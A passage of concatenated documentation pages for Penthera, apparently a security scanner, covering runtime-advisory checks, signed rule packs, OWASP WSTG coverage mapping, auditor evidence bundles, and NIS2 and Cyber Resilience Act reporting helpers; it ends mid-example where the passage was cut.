<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/runtime-advisories.md · https://penthera.org/docs/runtime-advisories.md -->

# Runtime advisories

> **Pro.** For "is my PHP / nginx / Apache / Node.js / Python / OpenSSL / MongoDB affected by this advisory?"

When a runtime or web server gets a security release, the first question is
which of your systems run an affected version. Penthera answers what it can see
and says plainly what it cannot. The method and its limits are in the
methodology's [runtime advisories](https://penthera.org/docs/METHODOLOGY.md#runtime-advisories) section.

## Check your app

```bash
penthera https://staging.example.com            # what the site says about itself
penthera --repo .                                # what the repository pins
```

Both runs check against the advisories in the bundled `advisories` pack and
any pack you add with `--rules`. You get one of four answers per product and
version:

| Answer | Meaning | What to do |
|---|---|---|
| **affected** | An exact upstream version is visible and is below the fix | Upgrade to the fixed version on that line |
| **end of life, no fix** | The version is on a line the vendor no longer supports | Move to a supported line |
| **check on server** | The product is in use but the version is hidden, floating (`php:8.3`), a distribution build (`8.1.2-1ubuntu2.19`), or a pre-release of the version after the fix (`8.4.28-dev`, which PHP's branch reports from 8.4.27's release candidate on; a pre-release of the fixed version itself is affected) | Run the check command in the finding (`php -v`, `nginx -v`, ...) on the server or in the container |
| **has the fix (as advertised)** | The visible version is at or above every fix | Nothing, unless a proxy or a stale banner could be lying |

**Banners that name no distribution.** For products that distributions patch
under the same version number (PHP, Apache httpd, nginx, Python and OpenSSL),
an "affected" or "end of life" answer from a banner with no distribution token
is at most `potential`. Severity stays as it is. Debian 11 to 13, Ubuntu 24.04
and later, and RHEL print plain upstream PHP numbers, so a patched Ubuntu
24.04 `X-Powered-By: PHP/8.3.6` behind nginx or a CDN looks exactly like
upstream 8.3.6. The finding says to check on the server and gives the check
command. An official Docker image (`php:8.3.12-fpm`) or a version file pins
an upstream build, so a repo scan stays `likely`. The research behind this is
the runtime-strings test set ([#97](https://github.com/danoszz/penthera/pull/97), L1).

No answer means no evidence of the product, which is **not** a clean bill of
health. Most production servers hide their version, and a CDN in front of the
site hides the origin entirely. When a big advisory lands, check your inventory
on the server itself, not only from outside.

For the PHP release of 21 October 2026, Penthera's verdicts match OpenAI's
independent [php2shell-checker](https://github.com/openai/php2shell-checker)
on every branch it lists; a test keeps it that way. See the
[case study](https://github.com/danoszz/penthera/blob/main/docs/research/case-study-php-2026-10.md#an-independent-cross-check).

## Load an advisory before the next release

Advisory data is a signed rule pack, so a new advisory does not need a new
Penthera release:

```bash
penthera rules verify ./php-2026-10            # check the signature and every rule
penthera https://staging.example.com --rules ./php-2026-10
penthera --repo . --rules ./php-2026-10
```

Packs signed by the maintainer key in `lib/rules/allowed_signers` load
directly. A pack signed by someone else needs `--rules-signers <file>`, and an
unsigned one needs `--allow-unsigned-rules`. See [rule-packs.md](https://penthera.org/docs/rule-packs.md).

## Write one (maintainers)

1. Copy the fixed versions **from the vendor's release announcement or
   changelog only**. Do not take them from news coverage, and never guess
   ahead of the release.
2. One rule per advisory, in a `runtime-advisory` rule file:

   ```json
   {
     "kind": "runtime-advisory",
     "rules": [
       {
         "id": "php-2026-10-example",
         "product": "php",
         "title": "Short description from the vendor",
         "severity": "critical",
         "cves": ["CVE-2026-NNNNN"],
         "cvss": { "version": "4.0", "score": 9.2 },
         "fixed": [
           { "branch": "8.3", "version": "8.3.NN" },
           { "branch": "8.4", "version": "8.4.NN" }
         ],
         "source": "https://www.php.net/ChangeLog-8.php",
         "date": "2026-10-21",
         "confidence": "confirmed"
       }
     ]
   }
   ```

   Use the vendor's own severity. Add `condition` when the flaw needs more than
   the version (an operating system, a SAPI, a module). Findings for such a rule
   never go above `potential`. Add `introduced` on a line when versions before
   it are not affected. On the oldest listed line, it also clears every older
   line (httpd 2.2 for a flaw introduced in 2.4.49). Without it, an older
   end-of-life line is reported as "end of life, no fix".
3. Build and sign it: `npm run rules:build -- ./php-2026-10 --name php-2026-10 --version 1.0.0`,
   then `scripts/rules/sign-pack.sh ./php-2026-10`.
4. Fold the rule into the bundled `advisories` pack in the next release, with a
   benchmark case (see [bench/README.md](https://github.com/danoszz/penthera/blob/main/bench/README.md)).

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/owasp-wstg-coverage.md · https://penthera.org/docs/owasp-wstg-coverage.md -->

# OWASP WSTG coverage map

> **Pro.** For "which OWASP tests does it cover?"

Penthera maps its probes to the [OWASP Web Security Testing Guide (WSTG) v4.2](https://owasp.org/www-project-web-security-testing-guide/). The mapping lives in `lib/owasp-wstg.js`, and this page follows it. Each scan report includes a coverage table built from the probes that actually ran.

A mapped WSTG ID means a probe touches that test area. It does not mean the probe runs every test case the guide describes for it.

## Coverage by profile

| Profile | Penthera probes | WSTG areas | Destructive payloads |
|---------|-----------------|------------|----------------------|
| **quick** | Reachability, headers, OpenAPI, auth smoke test, repo secrets and routes | INFO, CONF, ATHN, ATHZ | No |
| **standard** | All non-destructive URL and repo probes | INFO, CONF, CRYP, ATHN, ATHZ, SESS, CLNT | No |
| **deep** | Standard, plus recon, injections and fuzzing | All above + INPV, BUSL | Yes |

## Probe to WSTG mapping

| Penthera probe | WSTG IDs | Profiles | Mode |
|----------------|----------|----------|------|
| Reachability & fingerprint | WSTG-INFO-02, WSTG-INFO-04 | quick, standard, deep | URL |
| Endpoint discovery | WSTG-INFO-06, WSTG-INFO-07 | standard, deep | URL |
| TLS / certificate audit | WSTG-CRYP-01 | standard, deep | URL |
| Security headers (missing headers, `X-Powered-By`) | WSTG-CONF-12, WSTG-CONF-14, WSTG-INFO-08 | quick, standard, deep | URL |
| OpenAPI / Swagger exposure | WSTG-INFO-09, WSTG-CONF-02 | quick, standard, deep | URL |
| Sensitive file templates (also directory listings, `/metrics`, stack traces) | WSTG-CONF-02, WSTG-CONF-04, WSTG-ERRH-01 | standard, deep | URL |
| CORS validation | WSTG-CLNT-07 | standard, deep | URL |
| Cookie security | WSTG-SESS-02 | standard, deep | URL |
| Auth endpoint hardening | WSTG-ATHN-03, WSTG-ATHN-10 | quick, standard, deep | URL |
| Client-side-only auth detection | WSTG-ATHZ-02, WSTG-CLNT-01 | standard, deep | URL |
| JWT probes | WSTG-ATHN-04, WSTG-SESS-10 | standard, deep | URL |
| IDOR / BOLA | WSTG-ATHZ-04, WSTG-ATHZ-05 | standard, deep | URL |
| OAuth open redirect | WSTG-ATHN-11, WSTG-CLNT-04 | standard, deep | URL |
| Adaptive escalation probes | WSTG-ATHZ-02, WSTG-ATHZ-04, WSTG-CLNT-07 | standard, deep | URL |
| Retire.js (JS CVEs) | WSTG-CONF-04, WSTG-CLNT-02 | standard, deep | URL |
| Parameter discovery | WSTG-INFO-06 | standard, deep | URL |
| OSINT recon | WSTG-INFO-01, WSTG-INFO-07 | deep | URL |
| SQL injection | WSTG-INPV-05 | deep | URL |
| SSTI | WSTG-INPV-18 | deep | URL |
| SSRF | WSTG-INPV-19 | deep | URL |
| Reflected XSS | WSTG-INPV-01, WSTG-CLNT-01 | deep | URL |
| Command injection | WSTG-INPV-12 | deep | URL |
| Open redirect (injection suite) | WSTG-CLNT-04 | deep | URL |
| API fuzzing | WSTG-INPV-11, WSTG-BUSL-05 | deep | URL |
| Secret scanning | WSTG-CONF-02, WSTG-CONF-05 | quick, standard, deep | Repo |
| Route / trust-boundary analysis | WSTG-ATHZ-02, WSTG-CONF-02 | quick, standard, deep | Repo |
| Risky code patterns | WSTG-INPV-01, WSTG-INPV-12 | standard, deep | Repo |
| Code-execution sinks (eval, vm, exec) with request data | WSTG-INPV-11, WSTG-INPV-12 | quick, standard, deep | Repo |
| Runtime & server advisories (PHP, nginx, Apache, Node.js, Python, OpenSSL, MongoDB) | WSTG-INFO-02, WSTG-INFO-08, WSTG-CONF-01 | quick, standard, deep | URL, Repo |

## WSTG categories not covered

Penthera does not automate these WSTG areas, or covers them only in part:

| Category | Examples | Status |
|----------|----------|--------|
| WSTG-IDNT | Registration, username policy | Not covered |
| WSTG-ERRH | Verbose stack traces in all contexts | Partial (stack traces on a not-found path only) |
| WSTG-BUSL | Full business-logic workflows | Partial (fuzzing only) |
| WSTG-APIT | GraphQL-specific tests | Partial (an introspection template only) |
| Manual / social | Phishing, physical access | Out of scope |

## Finding category to WSTG

When it reports a finding, Penthera tags it with relevant WSTG IDs in JSON (`finding.wstg[]`), SARIF (`properties.tags`), and Markdown reports.

| Finding category | WSTG IDs |
|------------------|----------|
| `tls` | WSTG-CRYP-01 |
| `exposure` | WSTG-CONF-02, WSTG-CONF-04 |
| `cors` | WSTG-CLNT-07 |
| `cookie` | WSTG-SESS-02 |
| `auth` | WSTG-ATHN-03, WSTG-ATHN-04 |
| `auth-bypass` | WSTG-ATHZ-02, WSTG-ATHN-04 |
| `secrets` | WSTG-CONF-02, WSTG-CONF-05 |
| `sqli` | WSTG-INPV-05 |
| `ssti` | WSTG-INPV-18 |
| `xss` | WSTG-INPV-01, WSTG-CLNT-01 |
| `ssrf` | WSTG-INPV-19 |
| `cmdi` | WSTG-INPV-12 |
| `open-redirect` | WSTG-CLNT-04, WSTG-ATHN-11 |
| `rate-limiting` | WSTG-ATHN-10 |
| `fuzzing` | WSTG-INPV-11 |
| `recon` | WSTG-INFO-01 |
| `cve` | WSTG-CONF-04 |
| `code-pattern` | WSTG-INPV-01, WSTG-INPV-12 |
| `config` | WSTG-CONF-02 |

Penthera also adds tags from the probe that produced a finding and from keywords in its title, so a finding can carry more IDs than its category lists here.

## References

- [OWASP WSTG on GitHub](https://github.com/OWASP/wstg)
- Penthera implementation: `lib/owasp-wstg.js`
- Report integration: `src/report/markdown.js`, `src/reporter.js`

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/README.md · https://penthera.org/docs/commands/README.md -->

# Commands

> **Pro.** For "which command and flag do I need?"

One page per command, with the main flags and an example. The
[README](https://penthera.org/README.md) has the short version; `penthera <command> --help`
has the full flag list.

| Command | Page | What it does |
|---|---|---|
| `penthera`, `penthera init` | [init.md](https://penthera.org/docs/commands/init.md) | Set up in one command: detect, check, then hook, workflow and dashboard |
| `penthera <url>`, `--repo .` | [scan.md](https://penthera.org/docs/commands/scan.md) | Scan a running app and its source: modes, profiles, outputs, exit codes, CI |
| `penthera agents` | [agents.md](https://penthera.org/docs/commands/agents.md) | Audit skills, MCP servers, hooks, plugins and rule files |
| `penthera deps` | [deps.md](https://penthera.org/docs/commands/deps.md) | What each package can do, the upgrade diff, typosquats, license policy |
| `penthera install` | [install.md](https://penthera.org/docs/commands/install.md) | Check a new package before any install script runs |
| `penthera fix`, `penthera agent --loop` | [fix.md](https://penthera.org/docs/commands/fix.md) | Deterministic fix recipes and the local scan, fix, verify loop |
| `penthera --repo . --ai`, `penthera ai` | [ai-mode.md](https://penthera.org/docs/ai-mode.md) | Opt-in AI mode: a local model proposes, Penthera's rules check; asks every run |
| `penthera verify` | [verify.md](https://penthera.org/docs/commands/verify.md) | Check findings from an AI audit (Cloudflare's security-audit skill) against Penthera's rules |
| `penthera hook` | [hook.md](https://penthera.org/docs/commands/hook.md) | Pre-commit hook for secrets, agent config and dependency changes |
| `penthera rules list`, `penthera rules verify <dir>` | [rule-packs.md](https://penthera.org/docs/rule-packs.md) | Signed, versioned rule packs (IOCs, patterns); add your own with `--rules <dir>`, never fetched |
| GitHub Action | [action.md](https://penthera.org/docs/commands/action.md) | The capability diff as a pull-request comment, plus SARIF |
| Agent Skill | [skill.md](https://penthera.org/docs/commands/skill.md) | Let Claude Code, Cursor and other agents drive Penthera |
| `penthera mcp` | [mcp.md](https://penthera.org/docs/commands/mcp.md) | Penthera as an MCP server: six read-only tools your agent can call |
| `penthera ui` | [dashboard.md](https://penthera.org/docs/dashboard.md) | The local dashboard: one view with projects, findings, side cards, and the fix loop from the page |

Compliance flags (`--framework nis2`, `--readiness`, `--cra`, `--aibom`, ...)
are covered in [compliance-nis2.md](https://penthera.org/docs/compliance-nis2.md) and
[compliance-cra.md](https://penthera.org/docs/compliance-cra.md). Reports and evidence bundles are in
[evidence.md](https://penthera.org/docs/evidence.md). Network use and `--offline` are in
[privacy.md](https://penthera.org/docs/privacy.md).

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/evidence.md · https://penthera.org/docs/evidence.md -->

# Evidence bundles and audience reports

> **Pro.** For "what do I give my auditor?"

Penthera can write the results of one scan as an **evidence bundle**: every
report, a manifest with the SHA-256 of each file, and an optional SSH
signature over the manifest. An auditor checks the bundle with one command.
No hosted service is involved. The auditor needs only Node (or `shasum` and
`jq`) and OpenSSH 8.0 or later.

## Start here: one run for NIS2 and the CRA

NIS2 puts a duty of care on in-scope organizations, written into national law
(the Cyberbeveiligingswet in the Netherlands, the NIS2-wet in Belgium). The
Cyber Resilience Act adds reporting duties for manufacturers, with deadlines
measured in hours. A small company has to show that it tests, fixes and
records, without a compliance team.

```bash
penthera --assessment-init assessment.json          # once: the organisational measures a scanner cannot test
penthera https://staging.example.com --repo . \
  --framework nis2 --readiness --assessment assessment.json \
  --sbom sbom.cdx.json --evidence evidence/2026-10-19 --sign-key ~/.ssh/id_ed25519
```

That run writes the scan, an Article 21(2) coverage table, a readiness report
with every measure marked met, partial, gap or not applicable, a CycloneDX SBOM,
and a hashed, SSH-signed evidence bundle. Around it:

```bash
penthera --policy-pack ./policies --org "Your Company" --readiness --assessment assessment.json
penthera https://example.com --readiness --assessment assessment.json --questionnaire questions.txt
penthera --cra-init cra.json && penthera --cra cra.json   # CRA Article 14 timeline and drafts
penthera --repo . --aibom aibom.cdx.json                  # CycloneDX 1.6 AI-BOM
```

The questionnaire helper answers each question from your scan and
self-assessment, cites the evidence, and marks anything it cannot map as
`NEEDS HUMAN INPUT` instead of guessing. The details are in the
[NIS2](https://penthera.org/docs/compliance-nis2.md) and [CRA and AI-BOM](https://penthera.org/docs/compliance-cra.md) guides.

What it does not do:

- It is readiness tooling, not a certification and not legal advice. Whether you
  are in scope, and what is proportionate for you, is for you and your advisors
  to decide.
- It covers the technical, testable part of the duty of care. Policies,
  training, backups and MFA come from your self-assessment. Penthera records
  what you attest. It cannot check it.
- It does not file anything. Reports to a CSIRT or ENISA are drafts for you to
  review and submit.
- Jurisdiction details ship for the Netherlands only.

## For auditors: verify a bundle

You need the bundle directory and an **allowed signers file** that names the
key you expect the bundle to be signed with. Get that public key from the
organization through a channel other than the bundle itself (their security
page, an email you can authenticate, or in person).

```bash
npx penthera evidence verify ./evidence --allowed-signers allowed_signers --require-signature
```

Exit code `0` means every file matches the manifest and the manifest was signed
by a key in `allowed_signers`. Exit code `1` means something changed, is
missing, was added, or the signature does not check out. The output says which.

An `allowed_signers` file is one line per key:

```text
security@example.com namespaces="penthera-evidence" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA...
```

### Without Penthera

The bundle does not depend on Penthera to be checked. With standard tools:

```bash
cd evidence
# 1. The manifest was signed by the expected key (namespace penthera-evidence)
ssh-keygen -Y verify -f ../allowed_signers -I security@example.com \
  -n penthera-evidence -s manifest.json.sig < manifest.json
# 2. Every artifact matches its hash in the manifest
jq -r '.artifacts[] | "\(.sha256)  \(.path)"' manifest.json | shasum -a 256 -c -
# 3. Nothing else is in the directory
ls
```

`penthera evidence verify` does the same three checks, and also rejects
manifest paths that would leave the directory (`../`, absolute paths) and
symlinked files.

### What the checks prove, and what they do not

- **Hashes** prove that the files have not changed since the manifest was
  written. Without a signature they prove nothing about who wrote it: anyone
  can rewrite a file and its hash together.
- **The signature** proves that the holder of the signing key produced this
  manifest. It does not prove that the scan was run against the system you
  care about, or with the options you expect. Read the manifest's `command`,
  `target`, `scan` and `git` fields, and the auditor report's scope section.
- A signed bundle verifies only with `--allowed-signers`. Without it,
  `verify` cannot tell whose key made the signature (anyone can re-sign a
  rewritten manifest with their own key), so it fails with status
  `unverified`. A manifest that declares a signature with no `.sig` file
  fails too.
- An unsigned bundle passes with an `UNSIGNED` warning. Pass
  `--require-signature` (with `--allowed-signers`) to make it fail.
- A scan is a snapshot. The bundle is evidence of what Penthera saw at
  `generated_at`, not a statement that the system is secure.

## For the team producing evidence

```bash
penthera https://staging.example.com --repo . --framework nis2 \
  --evidence evidence/2026-10-19 --sign-key ~/.ssh/id_ed25519
```

- `--evidence <dir>` writes the bundle. The directory must be new or empty, so
  a bundle never mixes two runs.
- `--sign-key <key>` signs `manifest.json` with
  `ssh-keygen -Y sign -n penthera-evidence`. Use the private key path, or the
  `.pub` path when the key lives in `ssh-agent` or on a hardware token. A
  passphrase prompt appears in the terminal.
- `--sbom <file>` and `--readiness` add their outputs to the bundle.
- Give auditors the public key out of band, as an `allowed_signers` line.

### What is in a bundle

| File | Contents |
|------|----------|
| `report.json` | The full scan result |
| `report.md` | The default Markdown report |
| `report.sarif` | SARIF 2.1.0 |
| `report-developer.md` | Findings with file:line, fix recipe ids or diffs, and sources |
| `report-owner.md` | Plain-language summary, what to do first, owner actions, trend |
| `report-auditor.md` | Scope and method, confidence and provenance, egress, inconclusive probes, suppressions, fix timeline, NIS2 and OWASP mapping |
| `report-custom.md` | Your `--report-template` output, when given |
| `nis2-readiness.md` | With `--readiness` |
| `sbom.cdx.json` | CycloneDX SBOM, with `--sbom` |
| `manifest.json` | Tool version, command line (secrets redacted), timestamp, target, git commit, SHA-256 and size of every file above |
| `manifest.json.sig` | SSH signature over `manifest.json`, with `--sign-key` |

The command line in the manifest has the values of `--auth-cookie`,
`--auth-bearer` and any token, secret or password flag replaced with
`[REDACTED]`, and credentials in URLs masked.

## Audience reports

`--audience developer|owner|auditor` picks who the Markdown report is for. It
applies to `--markdown <file>`. Without `--markdown`, the report goes to stdout.
The default report (no `--audience`) is unchanged.

```bash
penthera https://example.com --repo . --audience owner > for-the-owner.md
penthera https://example.com --repo . --audience auditor --markdown audit.md
```

When a scan used `--memory`, the owner report shows the trend across recent
scans. When the result has an agent loop run (`loopRun`) or memory has fix
events, the developer, owner and auditor reports show a fix timeline
(found, fixed, verified) with the time to fix.

## Your own template

`--report-template file.md` renders your own Markdown from the same data the
audience reports use. The template language is small on purpose:

```markdown
# Security status for {{summary.target}}

{{summary.critical}} critical, {{summary.high}} high ({{summary.total}} total).

{{#each findings}}
- [{{severity}}] {{title}}{{#if location}} at {{location}}{{/if}} ({{confidence}})
{{/each}}

{{#if suppressed}}
Set aside: {{#each suppressed}}{{title}} by {{actor}}: {{reason}}; {{/each}}
{{else}}
Nothing suppressed.
{{/if}}
```

- `{{path.to.value}}` prints a value. Values are HTML- and Markdown-escaped,
  and newlines become spaces, so a finding title cannot add HTML, a heading, a
  list item or a table cell.
- `{{#each list}}…{{/each}}` loops; inside, `{{this}}` is the item and
  `{{@index}}` its 0-based index. Names not found on the item are looked up in
  the enclosing scope.
- `{{#if value}}…{{else}}…{{/if}}` branches. An empty list counts as false.

There are no helpers, no expressions, no raw output, no partials and no file
includes. Paths containing `__proto__`, `constructor` or `prototype` are
rejected, and only own properties are read. A template that uses anything else
fails with a line number before the scan starts.

Top-level fields: `tool`, `target`, `timestamp`, `duration`, `modes`,
`profile`, `offline`, `probes`, `summary` (`critical`, `high`, `medium`,
`low`, `info`, `serious`, `total`, `suppressed`, `inconclusive`), `findings`
(`fid`, `title`, `severity`, `confidence`, `source`, `method`, `collectedAt`,
`category`, `location`, `file`, `line`, `url`, `description`, `recipe`,
`fixText`, `sources`, `owasp`, `wstg`), `suppressed` (`title`, `severity`,
`reason`, `actor`, `by`, `expires`), `inconclusive`, `egress`, `actions`,
`topActions`, `ownerActions`, `nis2`, `owasp`, `trend` and `timeline`. The
model is built in [`src/report/model.js`](https://github.com/danoszz/penthera/blob/main/src/report/model.js).

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compliance-nis2.md · https://penthera.org/docs/compliance-nis2.md -->

# Compliance: NIS2 and the cyberwetgeving

> **Pro.** For "what do I give my auditor?" under NIS2.

Shipping a product? The Cyber Resilience Act's Article 14 reporting helper and
the AI-BOM are in [compliance-cra.md](https://penthera.org/docs/compliance-cra.md).

The EU NIS2 directive and its national transpositions (the Cyberbeveiligingswet
in the Netherlands, the NIS2-wet in Belgium) put a duty of care, the *zorgplicht*,
on in-scope organizations. That duty is the set of risk-management measures in
Article 21(2) of the directive. Most of them are organizational. Some are
technical and testable, and that is the part Penthera helps with.

Penthera does not make you compliant and does not certify anything. It gives
you repeatable technical evidence for the measures a scanner can check. You can
attach that evidence to a risk file, show it to an auditor, or run it in CI so a
regression shows up before it ships.

| Art. 21(2) measure | What Penthera does | Coverage |
|--------------------|--------------------|----------|
| **(a)** Risk analysis & information-security policy | Findings, severity, and baseline history feed your risk analysis | Evidence |
| **(b)** Incident handling | `--incident` drafts the 24h / 72h / 1-month reports against your authority's required content | Partial |
| **(c)** Business continuity, backup, crisis management | Organizational; outside a scanner's reach | Out of scope |
| **(d)** Supply-chain security | Known-CVE checks on JS dependencies, leaked credentials, a CycloneDX SBOM (`--sbom`), and passive supplier rating (`--suppliers`) | Partial |
| **(e)** Security in acquisition, development & maintenance; **vulnerability handling** | The core: black- + white-box scanning mapped to OWASP WSTG, SARIF → GitHub, baseline regression, scan-and-fix loop | **Strong** |
| **(f)** Assessing the effectiveness of measures | Baseline diff, re-scan-to-verify, and `--history` tracking of time-to-fix, aging and drift | Partial |
| **(g)** Cyber hygiene & training | Remediation playbook + secure-defaults guidance (guidance, not a training program) | Partial |
| **(h)** Cryptography & encryption | TLS protocol/cipher/certificate audit, HSTS, cookie `Secure` (transport layer only) | Partial |
| **(i)** HR security, **access control**, asset management | Access control tested: JWT, IDOR/BOLA, OAuth redirect, client-side-auth, trust-boundary mapping | Partial |
| **(j)** Multi-factor authentication & secure communications | MFA probe (on the roadmap) | Planned |

**Coverage key:** *Strong* = automated technical testing · *Partial* = part of the
measure · *Evidence* = output feeds the measure, no direct test · *Planned* = on the
roadmap · *Out of scope* = organizational or physical.

In practice, Penthera tests measure (e), secure development and vulnerability
handling, most directly. It covers parts of supply chain (d), cryptography in
transit (h), access control (i) and effectiveness testing (f). That is not the
whole duty of care. It is a start you can run today and re-run on every deploy.
The coverage labels describe what Penthera checks, not how often it is right:
its measured accuracy is in [METHODOLOGY.md](https://penthera.org/docs/METHODOLOGY.md).

> **Not legal advice, not a certification, not a guarantee of compliance.**
> Penthera automates the technical-testing part of the duty of care. The
> directive's organizational duties (governance, risk-management policy,
> incident-notification processes, supply-chain contracts, staff training) need
> human process and, where it matters, review by a qualified advisor. For an
> authoritative reading, consult your national authority (the NCSC in the
> Netherlands, the CCB and its CyFun framework in Belgium) or a specialized lawyer.

Generate this mapping for your own scan with `--framework nis2`. It adds a
per-run coverage table (which measures *this* scan actually exercised, driven by
the probes that ran) to the terminal, Markdown, and JSON reports:

```bash
penthera https://myapp.com --framework nis2 -o reports/scan.json
```

### Readiness report in two commands

The readiness report combines the scan with a short offline self-assessment
(the organizational measures a scanner can't test, like policies,
backups, training and MFA). Every Article 21
measure is marked `met / partial / gap / n-a`, with proportionality notes, your
incident-reporting deadlines, and provenance on every piece of evidence.

```bash
# 1. Create your self-assessment (offline, one-time). Fill in yes | partial | no | na.
penthera --assessment-init assessment.json

# 2. Scan + self-assessment → readiness report (writes reports/scan-readiness.md)
penthera https://myapp.com --repo . --readiness --assessment assessment.json -o reports/scan.json
```

The readiness report is **evidence and self-assessment tooling, not a
certification**. It is provenance-linked (`source, method, collected_at,
confidence`) and reproducible, and it lists exactly what only you can attest to.
Jurisdiction details live in [`lib/jurisdictions/nl.json`](https://github.com/danoszz/penthera/blob/main/lib/jurisdictions/nl.json). Only the
Dutch profile exists today.

### Answer a customer's security questionnaire

Penthera drafts answers to a customer's security questionnaire from evidence you
already have:

```bash
# one question per line, pasted from the customer's form
penthera https://myapp.com --readiness --assessment assessment.json --questionnaire questions.txt
```

Each question is mapped to the Article 21 measure it belongs to and answered
from the scan and your self-assessment, with the backing evidence cited.
Anything Penthera can't map is marked `NEEDS HUMAN INPUT` instead of guessed.
Review every answer before you send it.

### Policy pack

This generates the proportionate written policies NIS2 expects, pre-filled from
your readiness gaps and the Dutch incident deadlines:

```bash
penthera --policy-pack ./policies --org "Your Company" --readiness --assessment assessment.json
```

Writes editable Markdown starting points: information security, access control,
incident response, backup/continuity, acceptable use, supplier security, and
vulnerability management. **Templates, not legal advice.** Keep them short and
in use. A two-page policy that people follow is what "proportionate" means.

### Incident-report helper

NIS2 has hard reporting deadlines (24h early warning, 72h notification, 1-month
final report). If something happens, get the timeline and draft reports:

```bash
penthera --incident-init incident.json   # fill in what happened (set aware_at)
penthera --incident incident.json        # writes incident-reports.md
```

It computes your three deadlines from when you became aware, flags anything
overdue, and drafts the early-warning, notification, and final report against
the required content, with `NEEDS INPUT` where you still have to fill in facts.
**These are drafts to help you meet the deadlines, not a substitute for your
authority's official form.**

### Software bill of materials (SBOM)

This writes a CycloneDX SBOM of your dependencies. Many enterprise customers ask
their suppliers for one, and it is direct evidence for supply-chain security
(measure d):

```bash
penthera --repo . --sbom sbom.cdx.json
```

Parses `package-lock.json` / `package.json` / `requirements.txt` offline (no
network), with resolved versions and package URLs (purls).

### Remediation tracking (the audit loop)

Closing findings matters more than finding them. Track them over time:
time-to-fix, aging of open items, and what changed since the last scan (evidence
for measure f, effectiveness):

```bash
penthera https://myapp.com --history reports/history.json -o reports/scan.json
```

Each run folds the current findings into a small history keyed by a **stable
fingerprint** (so a re-worded or re-counted finding isn't mistaken for a new
one), then reports open vs resolved, median time-to-fix and aging buckets.
Re-run on a cadence to watch the trend.

### Supplier rating (passive)

Check your suppliers' public security settings for supply-chain risk (measure d):

```bash
printf 'supplier1.com\nsupplier2.com\n' > suppliers.txt
penthera --suppliers suppliers.txt
```

**Strictly passive and public-data-only.** One homepage GET (security headers),
a TLS handshake (certificate), and public DNS lookups (SPF/DMARC/MX) per domain.
No endpoint discovery, no auth probes, no intrusive testing. You get a
red/amber/green rating per supplier. It's a screening aid for your own vendor
risk assessment, **not** an authorized penetration test of the supplier.

The mapping targets the NIS2 directive itself, so it applies across the
national transpositions. Only the Dutch jurisdiction profile exists today.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/compliance-cra.md · https://penthera.org/docs/compliance-cra.md -->

# Compliance: the Cyber Resilience Act (CRA)

> **Pro.** For "what must I report under the CRA, and what is in my AI-BOM?"

NIS2 is covered in [compliance-nis2.md](https://penthera.org/docs/compliance-nis2.md).

The Cyber Resilience Act, [Regulation (EU) 2024/2847](https://eur-lex.europa.eu/eli/reg/2024/2847/oj/eng),
puts security duties on manufacturers of products with digital elements, which
includes software you sell or make available in the EU. Most of it applies from
11 December 2027. The reporting duty in **Article 14 has applied since
11 September 2026** (Art. 71(2)), and it also covers products placed on the
market before December 2027 (Art. 69(3)).

Penthera helps with two pieces of CRA evidence, offline:

| Command | What you get |
|---------|--------------|
| `--cra-init cra.json` then `--cra cra.json` | Article 14 timeline with due dates, overdue flags and a draft of every report |
| `--repo . --aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models referenced in code, MCP servers, skills, prompt files |

Penthera does not make you CRA compliant and does not certify anything. The
drafts are not the ENISA platform's official form, and none of this is legal
advice.

## Article 14 reporting helper

### What the regulation asks

Checked on 2026-10-19 against the Official Journal text and the
[ENISA Single Reporting Platform (SRP) FAQ](https://www.enisa.europa.eu/topics/product-security/vulnerability-services/eu-incident-response-and-cyber-crisis-management/single-reporting-platform-srp/frequently-asked-questions).

| | Actively exploited vulnerability (Art. 14(1)-(2)) | Severe incident (Art. 14(3)-(5)) |
|---|---|---|
| Early warning | within 24 hours of becoming aware, with the Member States where the product is available | within 24 hours, including whether it is suspected to be caused by unlawful or malicious acts, plus Member States |
| Notification | within 72 hours: the product, the general nature of the exploit and the vulnerability, corrective or mitigating measures taken and ones users can take, how sensitive the information is | within 72 hours: nature of the incident, an initial assessment, measures taken and ones users can take, sensitivity |
| Final report | no later than **14 days after a corrective or mitigating measure is available**: description with severity and impact, any malicious actor, details of the security update | within **one month after the incident notification**: detailed description with severity and impact, type of threat or root cause, applied and ongoing mitigations |

- **Where to send it.** Through the [ENISA Single Reporting Platform](https://portal.cra-srp.enisa.europa.eu/),
  using the end-point of the CSIRT designated as coordinator in the Member State
  of your main establishment. ENISA receives it at the same time (Art. 14(1),
  14(3), 14(7)). For the Netherlands that CSIRT is **NCSC-NL**, per ENISA's
  [list of CSIRTs designated as coordinators](https://www.enisa.europa.eu/topics/product-security/vulnerability-services/eu-incident-response-and-cyber-crisis-management/single-reporting-platform-srp/list-of-csirts-designated-as-coordinators).
- **Inform your users.** After becoming aware, inform impacted users (and where
  appropriate all users), with mitigations they can deploy, where appropriate
  in a machine-readable format (Art. 14(8)).
- **One notification** per vulnerability or incident, even across subsidiaries
  (ENISA SRP FAQ). The CSIRT may ask for an intermediate report (Art. 14(6)).
- An *actively exploited vulnerability* is one with reliable evidence that a
  malicious actor exploited it without the system owner's permission (Art. 3(42)).
  An incident is *severe* if it can harm the availability, authenticity,
  integrity or confidentiality of sensitive or important data or functions, or
  can lead to malicious code in the product or a user's systems (Art. 14(5)).

### Use it

```bash
penthera --cra-init cra.json   # set type ("vulnerability" or "incident") and aware_at
penthera --cra cra.json        # writes cra-reports.md and prints the deadlines
```

`cra-reports.md` holds the timeline (UTC and your local time), a status per
report (`due in 21h 30m`, `submitted`, `submitted late`, `OVERDUE`,
`waiting for a fix`), a draft of each report with `NEEDS INPUT` for every fact
still missing, and a draft user advisory for Art. 14(8). Record what you've sent
in `submitted.early_warning` / `submitted.notification` / `submitted.final_report`
and re-run. For a severe incident, the final report then counts from the actual
submission time instead of the 72-hour deadline.

**Prefill from your scan and SBOM.** Name the affected dependency in
`component.name` and point `prefill` at Penthera output (paths relative to
`cra.json`):

```json
{
  "type": "vulnerability",
  "aware_at": "2026-10-24T09:00:00+02:00",
  "component": { "name": "jquery" },
